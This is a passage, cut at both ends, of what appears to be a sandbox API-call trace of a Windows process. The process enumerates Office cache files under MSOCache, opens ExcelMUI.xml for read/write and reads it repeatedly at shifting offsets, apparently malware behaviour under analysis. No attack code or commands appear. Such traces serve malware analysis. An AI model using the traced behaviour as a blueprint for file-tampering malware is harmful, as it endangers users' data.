hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.715] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0031.715] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.715] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.715] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.715] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.715] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0031.715] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.715] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.715] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.715] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.716] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.716] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.716] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.716] AreFileApisANSI () returned 1 [0031.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0031.716] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9a) returned 0x806668 [0031.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=77 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 77 [0031.716] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.717] GetFileType (hFile=0xc8) returned 0x1 [0031.717] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.717] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cd00 | out: lpNewFilePointer=0x0) returned 1 [0031.717] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42ccb4 | out: lpNewFilePointer=0x0) returned 1 [0031.717] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc84 | out: lpNewFilePointer=0x0) returned 1 [0031.717] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.718] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.718] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc84 | out: lpNewFilePointer=0x0) returned 1 [0031.718] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.718] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.718] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x828808 [0031.718] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x61d, lpOverlapped=0x0) returned 1 [0031.720] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.720] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.720] GetLastError () returned 0x0 [0031.720] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.720] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.721] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.721] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.721] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x615, lpOverlapped=0x0) returned 1 [0031.721] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.721] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.721] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.721] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.721] GetLastError () returned 0x0 [0031.721] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.722] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.722] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.722] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.722] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x60d, lpOverlapped=0x0) returned 1 [0031.722] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.722] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.722] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.722] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.722] GetLastError () returned 0x0 [0031.722] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.723] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.723] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.723] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.723] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x605, lpOverlapped=0x0) returned 1 [0031.723] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.723] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.723] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.723] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.723] GetLastError () returned 0x0 [0031.724] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.724] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.724] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.724] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.724] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5fd, lpOverlapped=0x0) returned 1 [0031.724] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.724] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.724] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.724] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.725] GetLastError () returned 0x0 [0031.725] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.725] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.725] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.725] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.725] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5f5, lpOverlapped=0x0) returned 1 [0031.725] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.725] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.725] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.725] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.726] GetLastError () returned 0x0 [0031.726] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.726] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.726] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.726] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.726] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5ed, lpOverlapped=0x0) returned 1 [0031.726] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.726] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.726] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.727] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.727] GetLastError () returned 0x0 [0031.727] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.727] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.727] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.727] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.727] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5e5, lpOverlapped=0x0) returned 1 [0031.727] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.727] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.727] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.728] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.728] GetLastError () returned 0x0 [0031.728] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.728] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.728] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.728] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.729] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5dd, lpOverlapped=0x0) returned 1 [0031.729] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.729] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.729] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.729] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.729] GetLastError () returned 0x0 [0031.729] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.729] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.729] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.730] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.730] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5d5, lpOverlapped=0x0) returned 1 [0031.730] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.730] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.730] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.730] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.730] GetLastError () returned 0x0 [0031.730] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.730] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.730] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.731] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.731] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5cd, lpOverlapped=0x0) returned 1 [0031.731] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.731] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.731] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.731] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.731] GetLastError () returned 0x0 [0031.731] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.731] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.732] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.732] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.732] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5c5, lpOverlapped=0x0) returned 1 [0031.732] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.732] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.732] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.732] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.732] GetLastError () returned 0x0 [0031.732] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.732] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.733] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.733] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.733] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5bd, lpOverlapped=0x0) returned 1 [0031.733] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.733] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.733] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.733] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.733] GetLastError () returned 0x0 [0031.733] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.734] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.734] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.734] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.734] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5b5, lpOverlapped=0x0) returned 1 [0031.734] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.734] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.734] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.734] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.734] GetLastError () returned 0x0 [0031.734] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.734] SetFilePointerEx (in: hFile=0xc8, 